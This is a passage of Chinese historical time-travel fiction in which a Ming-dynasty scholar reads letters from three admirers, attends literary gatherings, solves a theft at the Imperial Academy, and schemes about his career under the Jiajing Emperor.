手里扬着一个…
与其说是信,不如说是个灰扑扑、揉得有些皱巴的纸卷,
外面随意缠了根细麻绳,
与方才那青绫方胜的精致形成了惨烈对比。
“嘿嘿,”
苏惟山把纸卷递过来,
挤眉弄眼。
“是王家那位…嗯…女侠托人捎来的!”
王雪茹?
苏惟瑾失笑,接过那纸卷。
入手粗糙,还真有点沉甸甸的分量。
解开那系得歪歪扭扭、
活像个死扣的麻绳,
展开纸张——那是一张质量颇为粗劣的毛边纸,
上面的字迹…嗯,颇具特色。
一个个墨团饱满得几乎要涨破纸张,
笔画粗犷,力透纸背,
带着一股横冲直撞的蛮横生气。
字迹谈不上什么间架结构,
更像是用毛笔蘸饱了墨,
凭着一股豪气“砸”在纸上的,
个别地方还因用力过猛洇开一大团墨渍。
开篇就没有任何客套,直奔主题,
宛如能听到她清脆又略带沙哑的大嗓门在耳边炸开:
“苏惟瑾!听说你中解元了?
好样的!我就知道你没吹牛!
真给咱们沭阳人长脸!”
瞧瞧这语气,
俨然苏惟瑾中解元是完成了某项她早就预料到的军事任务一般。
接着往下看,内容更是豪迈:
“金陵那地方花花绿绿的,
听说秦淮河上尽是狐狸精(这两个字写得尤其大,墨点四溅),
你可别光顾着看热闹忘了正事!
好好考!下一场再拿个第一回来!”
苏惟瑾仿佛看到王雪茹插着腰,
一脸“我看好你”的表情指着自己鼻子叮嘱。
关切之情表达得也别具一格:
“钱够不够花?
听说举人老爷应酬多,
是不是老要请客?
要是有人敢仗着地头熟欺负你,
报我的名号…
呃,好像不太管用…
反正你别怂!
打不过就先记着,等以后再说!”
这到底是鼓励还是撺掇他打架?
苏惟瑾哭笑不得。
信的末尾,更是将她的风格发挥到了极致,
字迹越发潦草飞扬,仿似带着呼啸的风声:
“使劲往上爬!当大官!
当最大的官!
看以后谁还敢瞧不起咱们!
看谁还敢欺负人!
到时候…到时候我爹就不用老对着县丞赔笑脸了!”
最后一句,
似乎无意间流露出一丝家境的不易与她深藏的期盼,
但立刻又被更大的豪情覆盖了。
没有署名,没有日期,
只在信纸最底下,
画了一把歪歪扭扭、
却杀气腾腾的长枪,枪尖直指苍穹。
整封信,就像王雪茹本人一样,
直接、热烈、泼辣,
带着江湖儿女般的爽利和一丝不管不顾的天真霸气。
苏惟瑾拿着这封“重量级”的信,
眼前清晰地浮现出王雪茹的模样
——大概是抢了她爹书桌上的劣质纸张和秃头笔,
可能刚练完枪法,汗都没擦干,
就趴在演武场的石凳上,
皱着眉头,一边嘀咕一边奋力“砸”出这些字,
或许写完还嫌弃地吹了吹纸上未干的墨渍,
然后随便一卷,塞给某个正要来金陵的军中熟人。
与赵文萱那封需要细细品读、
含蓄婉转的信相比,
这封信读起来毫不费力,
情感扑面而来,
像喝了一大碗辛辣醇厚的烧刀子,
从喉咙一直暖到胃里,痛快淋漓。
“这丫头…”
苏惟瑾忍不住摇头莞尔,
唇角上扬的弧度久久未消。
这份毫不掩饰的信任和直白的鼓励,
在这种时刻,竟显得格外珍贵和…有趣。
他几乎能想象到,
若是王雪茹得知赵文萱写了那样一首文绉绉的诗,
定会撇撇嘴,来一句:
“酸溜溜的,有啥用?
能当饭吃还是能吓跑坏人?”
两种截然不同的关心,
好比冰镇梅汤与烈酒,滋味迥异,
却都让他在这异乡的征途上,
感到了一丝温暖的慰藉。
他小心地将那封墨迹狂放的信纸抚平(虽然效果甚微),叠好。
不同于对待赵文萱信笺的郑重珍藏,
他将王雪茹的信放在了书案随手可及的抽屉里,
仿佛这样,就能随时汲取到那份简单直接的能量。
想了想,他铺开纸,决定也给她回一封。
措辞自然不能像对赵文萱那样引经据典,须得符合她的风格。
笔走龙蛇,言简意赅:
“王姑娘手书奉悉。
谢姑娘吉言与信任。
金陵繁华,惟瑾自知重任在身,
不敢懈怠,必当全力备考,以期不负众望。
亦无人敢欺,姑娘勿念。
令尊处,他日若有机缘,自当拜会。盼安好。”
回信写得干净利落,
如同军中简报。
最后,他提起笔,
在落款“苏惟瑾”三个字旁边,
照着记忆,也画了一个小小的、却十分端正的枪头图案,
与信纸上那个歪扭的大家伙遥相呼应。
吹干墨迹,他将回信交给苏惟山:
“这个,也托人带回沭阳,
交给城东兵马司屯田王百户家的王雪茹姑娘。”
苏惟山接过信,
看着自家瑾哥儿脸上那还未完全褪去的笑意,
贼忒兮兮地凑近小声问:
“瑾哥儿,这两位…您更中意哪一位啊?”
第105章 芸娘心意,默默守护
王雪茹那封“杀气腾腾”的信带来的笑意还未从嘴角完全消散,
苏惟山第三次叩响了房门。
这次,他的神情却与先前两次截然不同,
没了那份挤眉弄眼的促狭,
反而带着一种难得的郑重和温和。
“瑾哥儿,”
他声音放得轻缓,
手里捧着一个半旧不新的蓝布包袱,
包袱皮洗得有些发白,
却干干净净。
“陈婶…就是书铺陈家婶子,
托人从沭阳捎东西来了。”
陈芸娘?
苏惟瑾微微一怔。
自他离开沭阳,
与芸娘一家的联系最少。
那个总是低眉顺眼、
温柔怯懦的邻家女孩,会给他捎来什么?
“拿进来吧。”
苏惟山将那个蓝布包袱轻轻放在书案上,
动作小心,仿佛里面是什么易碎的珍宝。
他顿了顿,补充道:
“捎东西的人说,芸娘姑娘叮嘱了,
不是什么值钱东西,
就是些…家常物件,让您别嫌弃。”
苏惟瑾点点头,示意知道了。
苏惟山便安静地退了出去,轻轻带上门。
房间内安静下来。
苏惟瑾的目光落在那蓝布包袱上。
包袱打得十分仔细,方方正正,
边角都捏得服帖,
系扣处也是一个规整的活结,
一拉就开,显是打包的人费了心思。
他解开结,展开蓝布。
里面并无书信在最上面,
只有几层软软的、
干净的粗麻布垫着,
保护着里面的东西。
掀开麻布,最先映入眼帘的,
是一双崭新的布鞋。
千层底,黑布面,
针脚密密麻麻,纳得极其扎实硬挺,
鞋底边缘修剪得整整齐齐。
鞋面是普通的青布,
但鞋口处却细心地滚了一道深蓝色的布边,
让整双鞋显得朴素而不粗糙,沉稳而内敛。
拿起鞋,入手沉甸甸的,
蕴含着制作者无数的心血与时间。
鞋膛里似乎还塞着东西。
苏惟瑾伸手探去,
摸出一个小小油纸包,
打开,是几块烘得焦黄的芝麻麦饼,
散发着熟悉的、带着烟火气的香味。
油纸包下面,才是一封折得小小的信笺。
信纸是最便宜的那种黄麻纸,
字迹却十分工整清秀,
一笔一划,写得极其认真,
能看出书写者的紧张和郑重:
“苏相公敬启:闻相公高中解元,阖家欣喜。
金陵路远,未知水土是否相服?
近日天寒,闻北地风大,望相公珍重添衣。
饮食亦需留意,勿贪生冷,
街市之物,恐不洁净,宜择热食……”
开篇便是细细密密的叮嘱,
事无巨细,仿佛他不是去赶考扬名,
而是出远门的孩子。
没有华丽的辞藻,
只有最朴实无华的关切,
围绕着最寻常的衣食住行,
却透着一股熨帖人心的温暖。
信中絮絮说着沭阳的近况,
多是家长里短:
“……家中一切安好,
父母身体尚健,相公勿念。
铺子里生意近来颇好,
多有士子前来,
问及相公旧日所阅之书,
竟也带卖了些出去……
西街口李阿婆家添了孙儿……
前日下雨,七叔公宅子漏雨,已请人补葺了……”
她好像在努力找些话来说,
将故乡的点滴变化,透过笔墨,
一点点传递给他,
只为让他感觉不那么遥远。
通篇没有一句提及她自己,
没有诉苦,没有表功,
只在信纸最末尾,用更小的字,怯怯地添了一句:
“……抽空纳了双鞋,针线粗陋,
恐不入相公眼。
麦饼是今早新烙的,
不知路上是否碎了……
万望相公保重身体。”
信到此戛然而止。
没有落款。
苏惟瑾拿着信,久久无言。
他能想象出那样的画面:
在书铺后院那间光线昏暗的小屋里,
芸娘就着昏黄的油灯,
一针一线地纳着厚厚的鞋底,
针尖无数次穿透布层,
发出细微的“嗤嗤”声,
手指或许被勒出了红痕,
甚至磨出了薄茧。
她一边纳着,一边想着远方的人,
想着金陵的风是否太冷,饭是否吃得惯。
那几块麦饼,
想必是她天不亮就起来,
和面、撒芝麻、仔细烘烤,
再用油纸小心包好,
只为让他尝一口家乡的味道。
这封信,这双鞋,这几块饼,
没有赵文萱的诗才风流,
没有王雪茹的豪气干云,
却重逾千斤。
它们承载着最底层、最质朴、
却也是最深沉的一份情意。
这是一种默默的、
几乎不带任何奢求的守护和付出,
如同春雨,润物无声。
苏惟瑾的心口,
像是被什么东西轻轻撞了一下,
酸酸涩涩,又暖暖涨涨。
他穿越而来,历经世态炎凉,
习惯了算计与谋划,
此刻却被这份纯粹的、
小心翼翼的关怀深深触动。
他拿起那双布鞋,
端详着那密实的针脚,
忽然注意到,在鞋帮内侧一个极不显眼的地方,
用同色的线,极其精细地绣了两个小字:“平安”。
若不仔细看,根本发现不了。
苏惟瑾的指尖轻轻抚过那两个字,动作轻柔。
鼻尖竟有些微微发酸。
他沉默地脱下脚上那双为了应酬而买的、
华而不实的缎面鞋,
第106章 文师引荐,初窥鼎甲
“玉衡皂”的银钱细流汇入囊中,
三位少女的书信温情尚萦绕心头,
苏惟瑾却并未沉溺片刻安逸。
他深知,金陵之行的核心,
始终是科举,是人脉,
是那通往权力之巅的层层阶梯。
超频大脑如同永不疲倦的引擎,
持续处理着经义策问,
同时也精密计算着每一次社交可能带来的收益。
这日,文徵明府上送来请柬,
字迹飘逸洒落,内容却让苏惟瑾心头一跳
——并非寻常书画鉴赏,
而是邀他同往城外东山,
赴一场由致仕大学士王鏊主持的文会。
王鏊!
弘治朝名臣,文坛耆宿,
门生故旧遍布天下,虽致仕归乡,
其在江南士林的影响力仍堪称泰山北斗。
能踏入他的门槛,本身即是一种身份的认可。
文老师此举,提携之意再明显不过。
苏惟瑾郑重应下,悉心准备。
文会设在东山脚下王鏊的别业“怡老园”。
车马抵达时,但见青瓦白墙,
林木掩映,看似朴素,
却自有一股渊渟岳峙的气度。
门庭并不喧闹,
往来之人皆气度沉稳,
或着官服,或衣青衫,
谈笑间引经据典,目光睿智。
文徵明携苏惟瑾入园,
一路低声提点:
“今日之会,非同小可。
在座多有前辈高官,
亦有当世才俊,玉衡你虽年少才高,
亦需谨言慎行,多听多看。”
“学生明白,谢老师提点。”
苏惟瑾恭敬应道,
目光快速扫过园中景致与人影,
超频大脑已开始高速运转,
识别、记忆、分析。
园内水榭中,十数人正凭栏而坐,品茗清谈。
主位上一位清瘦矍铄的老者,
须发皆白,目光温润却深邃,
正是主人王鏊。
其左右作陪的,赫然是南京太常寺少卿方鹏、礼部右侍郎顾清!
皆是南京官场上跺跺脚地皮颤的人物。
更有一位须发虬结、神态狂放不羁的老者,
正与王鏊高声谈笑,
竟是吴中四大才子之首,
以狂草闻名的祝允明!
这般阵仗,饶是苏惟瑾心有准备,
也不禁暗暗吸了口气。
文徵明上前与众人见礼,
寒暄过后,便将苏惟瑾引至人前:
“济之公(王鏊字),
各位大人,这位便是今科南直隶解元,苏惟瑾苏玉衡。”
瞬间,所有目光都聚焦在苏惟瑾身上。
惊讶、审视、好奇、探究……各种意味交织。
苏惟瑾稳住心神,上前一步,依足礼数,长揖及地:
“学生苏惟瑾,拜见济之公,拜见各位前辈大人。
晚生后学,蒙文老师错爱,
得窥盛筵,实乃三生有幸。”
举止从容,态度谦恭,声音清朗,不卑不亢。
王鏊抚须微笑,目光在他身上停留片刻:
“哦?便是那位策论惊动南闱的苏解元?
果然少年英才,一表人才。
不必多礼,坐吧。”
“谢济之公。”
苏惟瑾这才在下首最末的一个绣墩上小心坐了半个身子,
腰背挺直,垂眸敛目,做足聆听状。
此时,一个清朗的声音带着几分复杂意味响起:
“苏解元,别来无恙?”
苏惟瑾抬眼,只见对面坐着一人,
面容俊朗,眼神锐利,
正是乡试第二名,
他的老“熟人”——徐明轩。
徐明轩此刻笑容看似温和,
眼底却藏着一丝不易察觉的较劲与审视。
在此地相遇,他显然也有些意外。
“原来是徐兄,”
苏惟瑾拱手回礼,笑容温和。
“金陵重逢,幸会。”
两人目光一触即分,空气中似有电光微闪。
众人皆是人精,岂看不出这新科一二名之间的微妙气氛?
皆含笑不语,乐见其趣。
谈话继续,多围绕古今典籍、朝野轶事。
苏惟瑾谨记文徵明之言,
多数时间沉默聆听,
偶尔被问及,便言简意赅回答,
引据恰当,见解虽新却不怪,
分寸拿捏得极好,
引得王鏊微微颔首。
席间,文徵明又为他引见了另几位年轻士子。
一位是坐在顾清下首的青年,
约二十七八年纪,面容清癯,
气质沉静如水,目光内敛却极有深度。
此人便是华亭徐阶,
虽只是举人功名(与苏惟瑾同科等待春闱),
却已是名满江南的才子,
谈吐间逻辑缜密,胸怀丘壑,
令人不敢小觑。
苏惟瑾与之交谈数语,
便觉此人心思深沉,
格局宏大,未来绝非池中之物。
另一位则显得狂放许多,
约二十五六,剑眉星目,顾盼神飞,
言语间锋芒毕露,
对诸多时政、学问皆有惊人之语,
常与祝允明争辩得不亦乐乎。
此人便是武进唐顺之,
才华横溢,天文、地理、兵法、历算无一不精,
但性格狷介,略显孤高。
他对苏惟瑾这个“少年解元”似乎颇有兴趣,
问了几个刁钻的算学问题,
苏惟瑾凭借超频大脑勉强应对,
竟也答得八九不离十,
引得唐顺之抚掌称奇:
“有点意思!”
更令人惊奇的是,
席间还有两位少年,
仅十二三岁年纪,
却坐得端正,眼神明亮,
听得极其专注。
经介绍,乃是兴化李春芳与无锡严訥。
此二人年纪虽小,已是地方有名的神童,
尤其那严訥,沉默寡言,
但偶尔发言,竟能切中要害,
显露出远超年龄的沉稳与见识。
王鏊对他们也颇为喜爱,
时常出言考校,二人对答如流。
苏惟瑾心中暗惊,超频大脑迅速调取记忆:
徐阶、唐顺之、李春芳、严訥…
这小小文会,竟聚集了未来嘉靖、隆庆朝多少阁老重臣的雏形?!
他更加打醒精神,谨慎应对。
当话题偶然转向边防舆地时,
第107章 翟銮点拨,朝局之迷雾
东山文会的余波尚未平息,
苏惟瑾的名字在金陵顶尖的文人圈层中悄然流传。
这日,他正在客栈温书,
忽得翟銮府上长随来请,
言道座师欲往国子监视察,
顺道带他一同前往,
提前感受一番最高学府的氛围。
苏惟瑾心知这是难得的机遇,
立刻整理衣冠,随之前往。
国子监位于南京城东北隅,
殿宇巍峨,古柏参天,
透着一股庄严肃穆的学术气息。
翟銮身为提学御史(兼职),
到此视察,自有监丞、博士等一众学官恭敬相迎。
翟銮神色平和,与众人寒暄几句,
便提出随意走走,
看看监生们平日修习的情形。
行走在宽敞的廊庑间,
听着各处讲堂传来的琅琅读书声,
感受着这座帝国最高学府沉淀数百年的文脉,
苏惟瑾心中亦不免生出几分向往。
若无意外,春闱之后,其中或许便有他一席之地。
行至一处藏书阁外的敞轩,
只见十数名身着监生襕衫的学子正聚在一处,
似乎在进行小型的文会交流,
品评诗文,切磋技艺。
见翟銮一行到来,众人忙起身行礼,
神色间带着对这位学政大佬的敬畏。
翟銮含笑摆手,示意众人继续,
莫要因他扰了雅兴。
他随意问起监生们的课业,
众人谨慎应答,气氛倒也融洽。
恰在此时,忽听一名年约二十、衣着显贵的监生“啊呀”一声惊呼,
脸色煞白地站起身,
慌乱地摸索着自己的书案:
“我的墨!我的李廷珪古墨!
方才还在此处,怎就不见了?!”
众人闻言,皆是一惊。
李廷珪墨乃南唐珍品,
价值不菲,堪称文房瑰宝。
在这等国子圣地,
众目睽睽之下竟发生失窃之事,
着实令人愕然。
那失主监生急得满头大汗,
连连跺脚:
“那可是家父重金购来予我勉学的!
这…这可如何是好!”
在场的监丞脸色顿时难看起来。
国子监生盗窃?
若传出去,成何体统!
他当即沉下脸,目光严厉地扫视在场众人:
“何人如此胆大妄为?
现在交出,尚可从轻发落!
若待搜查出来,定当革除功名,送官究办!”
气氛瞬间紧绷。
众监生面面相觑,
有人愤慨,有人疑惑,
也有人下意识地缩了缩身子,
生怕被牵连。
若真要大动干戈地搜查,
人人过关,今日在场者颜面何存?
国子监的清誉又要置于何地?
翟銮眉头微蹙,显然也不愿见到这般难堪场面。
就在监丞即将下令封锁现场之时,
苏惟瑾上前一步,
对着翟銮和监丞拱手一礼,
声音清朗却不高亢:
“座师,监丞大人,
学生或有一法,可试寻此墨,
或能免去诸位同窗搜身之扰。”
唰地一下,所有目光都聚焦在这位陌生的年轻举人身上。
翟銮眼中闪过一丝讶异,
随即颔首:
“哦?惟瑾有何办法,但说无妨。”
那监丞虽疑惑,但见翟銮发话,也只得按下性子。
苏惟瑾走到那失主的书案前,
目光快速扫过。
超频大脑瞬间启动,
强似精密仪器开始扫描分析:
案上物件摆放、墨迹残留、
地面脚印(虽杂乱,但仍有细微区别)、
周围众人的位置、神态、衣着…
他先是询问失主最后见到墨锭的确切时间,
以及期间离开过多久。
又问及期间有谁靠近过此案。
众人七嘴八舌回答,信息杂乱。
苏惟瑾静静听着,
大脑飞速过滤无效信息,
构建时间线和人员动线图。
他注意到,敞轩一角放着一个小炭盆,
盆中炭火已熄,但尚有余温,旁边有些许清理出的灰烬。
又注意到一位坐在角落的监生,
衣衫略显陈旧,洗得发白,手指关节粗大,
似常做粗活,此刻虽强作镇定,
但目光低垂,不敢与人对视,呼吸略显急促。
超频大脑结合贫寒出身、心理压力、
环境因素(炭盆可暂时藏匿小件物品)进行概率演算,很快锁定目标。
苏惟瑾并未立刻指认,
而是走到那炭盆边,
故作随意地用脚拨弄了一下边缘的灰烬,
露出一点未被完全覆盖的靛蓝色锦缎边角
——那正是失主盛放古墨的锦囊颜色!
“咦?”
他发出轻声疑惑。
众人目光随之望去。
那角落的贫寒监生脸色瞬间惨白如纸,
身体几不可察地颤抖起来。
苏惟瑾却并未声张,
而是转身对翟銮和监丞道:
“座师,大人,或许是一场误会。
想必是哪位同窗见猎心喜,
拿起赏玩,一时忘乎所以,
置于他处了。
不若让学生私下询问一二,或能寻回。”
翟銮何等人物,立刻明白其中必有隐情,
且苏惟瑾意在保全双方颜面,
心中赞赏,便对监丞道:
“既如此,便让惟瑾试试吧。”
监丞也松了口气,只要不闹大,怎么都行。
苏惟瑾走到那面色惨白的监生面前,
低声道:
“这位兄台,可否借一步说话?”
那监生几乎站立不稳,
机械地跟着苏惟瑾走到廊柱之后。
苏惟瑾注视着他,声音压得极低,
却带着不容置疑的力量:
“君子爱财,取之有道。
李墨虽好,终是外物。
一念之差,毁及的却是自身前程与家族期望,
更玷污了这国子监的清名。
值得吗?”
那监生浑身一颤,眼泪瞬间涌出,
嘴唇哆嗦着,几乎要跪下去。
苏惟瑾扶住他,继续低语:
“现在回头,尚来得及。
第108章 超脑复盘,嘉靖其人也
自国子监归来,
翟銮那番语重心长的提点,
宛如投入深潭的巨石,
在苏惟瑾心中激起千层浪,
久久难以平复。
他屏退左右,独坐于客栈静室之内,
窗外金陵城的万家灯火与喧嚣仿佛被无形屏障隔绝在外。
油灯如豆,映照着他沉静而锐利的侧脸。
超频大脑,这台因穿越而异变的“生物计算机”,
第一次不是为了应对眼前的考试或难题,
而是为了一个更加宏大、
更加深远的目标全功率启动
——深度复盘明代历史,
精准剖析他即将面对的那个至高无上的存在:
大明嘉靖皇帝,朱厚熜。
海量的信息流自记忆深处奔涌而出,
前世阅读过的正史、野史、学术论文、人物传记……
所有关于嘉靖朝的记载被迅速提取、
交叉比对、去伪存真、分析归纳。
一幕幕历史画面如同高清影像在他意识中飞速闪回:
十五岁的少年藩王,以外藩身份入继大统,
初登基时展现出的聪慧果决,
与杨廷和等老臣合作,
推行“嘉靖新政”,革除武宗朝弊政,
一度给人以“中兴之主”的错觉……
紧接着,便是震动朝野的“大礼议”!
为了追尊生父为皇考,
与以杨廷和为首的整个文官集团展开长达数年的激烈对抗!
超频大脑冷静地分析着这场争论的本质:
这绝非简单的礼仪之争,
而是少年皇帝对文官集团的一次凌厉的政治突袭,
旨在打破旧有权力结构,
树立绝对权威!
嘉靖凭借其超凡的政治手腕和冷酷无情的权术,
最终硬生生压服了满朝文武,实现了目的……
“大礼议”的胜利,
彻底塑造了嘉靖的政治性格:
极度自信,乃至刚愎自用;
对权力有着病态的敏感和掌控欲;
深刻认识到文官集团的“虚伪”与“不驯”,
从此对士大夫阶层充满了根深蒂固的猜忌与利用心态。
苏惟瑾的眉头越皱越紧。
超频大脑推演出的皇帝画像,令人心悸。
中年以后,
这位皇帝更是走向了一条极其特殊的统治道路
——沉迷道教炼丹,追求长生不老,
长期避居西苑,怠政现象日益严重。
然而,怠政并非放权!
他通过内阁票拟、司礼监批红这套制度,
以及令人叹为观止的“权术平衡”,
牢牢掌控着帝国最高权力。
严嵩、徐阶、高拱、张居正……
这些后来的名臣,
无不是在他精心设计的政治天平上起伏沉浮。
“这是一个…绝对的利益至上者和权术大师。”
苏惟瑾在心中冰冷地给出判断。
“在他眼中,臣子只有‘有用’和‘无用’之分,
乃至‘好用’和‘不好用’之别,
绝无‘忠奸’之辨
——或者说,合他意者为‘忠’,
逆他意者即为‘奸’。”
超频大脑进一步分析其性格弱点:
因以外藩入继,
内心深处缺乏安全感,
极度自私,国家利益、
百姓福祉在其个人长生与权欲面前,
皆可牺牲。
对身边人(如宦官、道士)的信任度,
有时反而高于对外廷大臣。
“在这样的皇帝手下做事…”
苏惟瑾感到一股寒意自脊椎升起。
“如履薄冰,动辄得咎。”
清流直臣?
如海瑞那般上书骂皇帝,
固然青史留名,却几乎于事无补,
自身险死还生。
攀附权奸?
如严嵩父子,纵然权倾朝野一时,
最终也不过是皇帝用来敛财、挡箭、最后弃如敝履的棋子,身死族灭。
即便是徐阶、高拱、张居正这等善于权谋、
试图有所作为的能臣,
其执政之路也是步步惊心,
与皇帝斗智斗勇,耗尽心力,
最终也难逃被清算或身后哀荣尽毁的结局。
似乎…难有善终之道?
巨大的危机感如同乌云般笼罩心头。
他原本规划的“科举晋身-施展抱负-青史留名”的路径,
在如此清晰残酷的皇帝肖像面前,
显得过于理想化和脆弱。
这条狂飙之路,远比他想象的更加凶险。
最大的风浪,并非来自考场对手或地方豪强,
而是源自那九重宫阙之内,
那个聪明、自负、多疑、冷酷的帝王。
房间内寂静无声,
只有灯花偶尔爆开的细微噼啪声。
苏惟瑾的手指无意识地在桌面上轻轻敲击,
这是超频大脑全力运算时的习惯动作。
不能退缩。
既然来到这个时代,
既然拥有这超乎常人的能力,
岂能因畏惧而裹足不前?
但必须调整策略。
原先或许还存有的些许“直臣”幻想,
被彻底摒弃。
在这个皇帝手下,
纯粹的道德文章救不了国,也保不住自身。
必须更加务实,更加…狡猾。
权力是唯一的护身符和杠杆。
但获取权力、运用权力的方式,
必须极其谨慎,
要符合嘉靖皇帝的“游戏规则”。
超频大脑开始重新规划路径:
1.春闱必须成功,且要足够耀眼,引起皇帝注意是第一步。
2.初期需低调蛰伏,仔细观察朝局动向,深入了解各方势力关系,绝不轻易站队。
3.要展现出“实干之才”,而非“空谈道德”,
嘉靖需要的是能为他解决问题(无论是财政、边患还是修玄)的臣子。
4.谨慎处理与未来可能得势的权臣(如严嵩)的关系,
既不能过早对抗,也不能紧密依附,
需保持一种微妙的、可利用的距离。
5.最关键的是,必须拥有皇帝无法轻易舍弃的价值
——或是独特的治国才能,
或是能满足其私欲(如理财、修道)的特殊技能。
思路渐渐清晰,虽然前路依旧迷雾重重,但至少有了大致的方向。
他长吁一口气,感觉心神略有疲惫。
超频大脑的高强度历史推演,消耗巨大。
目光落在窗外的夜空,
繁星点点,深邃莫测,
一如那紫禁城中的帝王心术。
“朱厚熜…”
他低声念出这个名字,
眼中再无之前的轻松与憧憬,
取而代之的是一种前所未有的凝重和挑战欲。
与天斗,其乐无穷;
与地斗,其乐无穷;
与人斗,其乐无穷。
第109章 王莽之鉴,一条危险的路
“戒慎”。
“藏器于身”。
纸上的四个字墨迹未干,
在昏黄的灯下泛着冷硬的光泽。
嘉靖皇帝那多疑、冷酷、
权术精熟的肖像已深深烙印在苏惟瑾的脑海,
如同一座巍峨却阴森的雪山,
横亘于他未来的仕途之上。
如何在这样的帝王手下生存,
乃至实现抱负?
超频大脑在给出了初步的谨慎策略后,
并未停歇,反而化身最贪婪的求知者,
开始疯狂检索浩瀚的历史数据库,
寻找更多的参考案例,更优的解决方案。
无数的历史人物、事件、
兴衰成败如同走马灯般在意识中飞速流转。
忽然,一个极其特殊、充满争议、
甚至堪称禁忌的身影,
被超频大脑精准捕捉、放大、定格——
新朝皇帝,王莽。
苏惟瑾的呼吸下意识地屏住了。
这是一个在正统史观中被钉在耻辱柱上的“篡汉逆贼”,
但其人生轨迹和某些行为模式,
在此刻却散发着一种诡异而危险的吸引力。
超频大脑冷酷地、不带任何道德评判地开始解析王莽案例:
出身外戚王氏家族,
但早年父兄皆亡,
在家族中并非最显赫的一支。
然而他凭借什么一步步走上权力巅峰?
——极度注重个人声誉和道德形象:
生活俭朴,勤奋好学,
礼贤下士,孝敬寡母,
抚养亡兄遗子,
几乎将所有能刷高“道德声望”的行为点都点满了。
以至于朝野上下皆称其为“当世圣人”,声望达到顶峰。
——极其善于笼络人心和经营人脉:
广泛结交名士、儒生,
对太学生尤为优容,
甚至拿出家财资助贫寒学子。
在士大夫阶层中拥有巨大的号召力。
——利用“禅让”这一具有道德合法性的形式完成权力过渡,
而非简单的武力篡夺。
“声望…人脉…道德合法性…”
苏惟瑾喃喃自语,眼中光芒闪烁。
这些不正是他现在正在无意中积累的东西吗?
解元的名望,文徵明、翟銮的赏识,
王鏊文会上与徐阶、唐顺之等人的交集…
甚至“玉衡皂”带来的财富,
某种程度上也是一种资源。
但超频大脑立刻拉响了尖锐的警报,
开始无情剖析王莽的败因:
——过于理想化与脱离实际:
推行“王田制”、“私属制”(废除奴隶)等改革,
试图恢复上古井田,
理念看似美好,
却严重脱离社会现实,
触动大地主、大贵族根本利益,
遭到激烈反抗。
——急于求成,朝令夕改:
政策推行粗暴,缺乏过渡和缓冲,
导致经济混乱,民怨沸腾。
——最关键的一点:
缺乏扎实的、属于自己的绝对权力基础。
他的权力过于依赖士大夫的声望支持和所谓的“天命所归”,
一旦改革失利,声望破产,
便瞬间土崩瓦解。
他没有一支完全听命于自己的强大武力,
也没有构建起一个高效且忠诚的官僚执行体系。
“空有理想,而无落实理想的力量与策略…”
苏惟瑾背后渗出冷汗。
王莽的悲剧在于,
他像一个手持精美蓝图却无施工队和建筑材料的建筑师,
最终只能建造出空中楼阁,
然后看着它轰然倒塌,
将自己也埋葬其中。
一条极其危险,
但潜在回报高到难以想象的道路,
如同伊甸园的毒蛇,
在他脑中隐约浮现,诱惑低语:
如果…如果模仿王莽前期的路径,
极致的道德声望(清流领袖?),
极致的人脉网络(门生故旧遍天下?),
极致的舆论掌控(士林翘楚?),
同时…暗中培育绝对忠于自己的力量
——无论是经济的、军事的、还是情报的…
等到声望和实力都积累到足以“众望所归”时,是否就能…
就能什么?
推翻嘉靖?取而代之?
这个念头如同一道霹雳,
瞬间照亮了他思维的黑暗角落,
也让他心脏狂跳,几乎要跃出胸腔!
大逆不道!这是诛九族的大罪!
但超频大脑却不受情绪影响,
继续冰冷地推演:
嘉靖皇帝自私多疑,沉迷修道,
长期怠政,已然埋下王朝衰落的种子。
若其始终如此,国势日衰是必然。
届时,天下是否需要一个新的“众望所归”之人?
历史是否提供了某种…可能性?
风险极高!
一旦失败,万劫不复。
王莽就是前车之鉴。
但…若是成功呢?
若能掌握至高权力,
是否就能真正摆脱掣肘,
推行那些超越时代的改革,
让这个古老的帝国焕发新生?
是否能避免未来那场席卷天下的浩劫(明末农民战争与清军入关)?
巨大的野心如同疯狂的藤蔓,
在心底滋生蔓延,
带来一阵战栗般的兴奋与恐惧。
他猛地闭上眼睛,
强行压制住这过于惊世骇俗的念头。
现在还太早,太遥远,
这只是一个最极端的、
存在于理论上的可能性。
当下的首要任务,
依然是在嘉靖朝的规则下活下去,
并爬到足够高的位置。
但是,这颗名为“王莽路径”的种子,
已经悄然种下。
它或许永远不会发芽,
或许会悄然改变形态,
但它确实存在了,
为苏惟瑾的未来道路,
提供了一个截然不同、
危险而疯狂的选项。
它让他意识到,
除了在嘉靖手下做忠臣或弄臣之外,
或许还存在第三条路
——一条需要极致隐忍、极致谋划、
极致实力的…僭越之路。
“呼——”
他长长吐出一口浊气,
感觉额头已布满细密的汗珠。
第110章 立足现实,积累实力为先
黑暗中,那名为“王莽路径”的疯狂念头如同鬼火般摇曳,
散发着诱人而致命的光芒。
苏惟瑾静坐良久,
任由那惊世骇俗的野心在胸腔里冲撞、沸腾,
然后又一点点被极强的理智强行冷却、压缩、深埋。
超频大脑从历史宏观的狂想中逐步降频,
回归到现实层面的精密运算。
“无论未来作何选择,眼下皆是空谈。”
苏惟瑾于黑暗中无声地自语,
目光重新变得清明而锐利。
“无实力,一切宏图不过是镜花水月,空中楼阁。”
王莽失败的核心之一,
便是急于求成,基础不牢。
自己绝不能重蹈覆辙。
当务之急,是积累。
厚积,方能薄发。
仕途这条路,需要的不仅是速度,更是续航的能力。
他重新点亮油灯,铺开一张新纸,
提笔写下四个词语:
“知识”、“名声”、“财富”、“人脉”。
这就是他现阶段必须全力夯实的四大支柱。
一、知识(备战春闱,核心根本)这是立身之基,进阶之梯。
没有进士功名,一切免谈。
春闱不同于乡试,汇聚天下英才,
考题更深,竞争更烈,
且在北京举行,气候、环境皆是挑战。
·行动计划:超频大脑制定极限学习计划。
每日五个时辰深度研读经史子集,
不仅背诵,更重理解融汇,
结合翟銮、王鏊等人的指点,
精准把握学术前沿和考官可能偏好。
两个时辰专攻策问,
针对北地边患、漕运、吏治、财政等时弊,
运用现代知识储备,
构思数套不同角度、具有高度可行性的方案,
并反复锤炼文字,使其既新颖又不失稳重。
一个时辰练习书法诗赋,保持手感。
剩余时间用于休憩与处理杂务。
·目标:必中进士,力争跻身一甲!
二、名声(维持清誉,扩大影响)
“道德声望”是重要的无形资产。
需精心维护“寒门天才”、
“勤勉务实”、
“谦逊知礼”的形象,
同时让“睿智”、“有担当”的名声在特定圈子内持续发酵。
·行动计划:继续通过文徵明、翟銮接触高端文会,
但谨言慎行,多听少说,
关键时刻展现锋芒即可。
对国子监推理之事,
对外绝不主动提及,
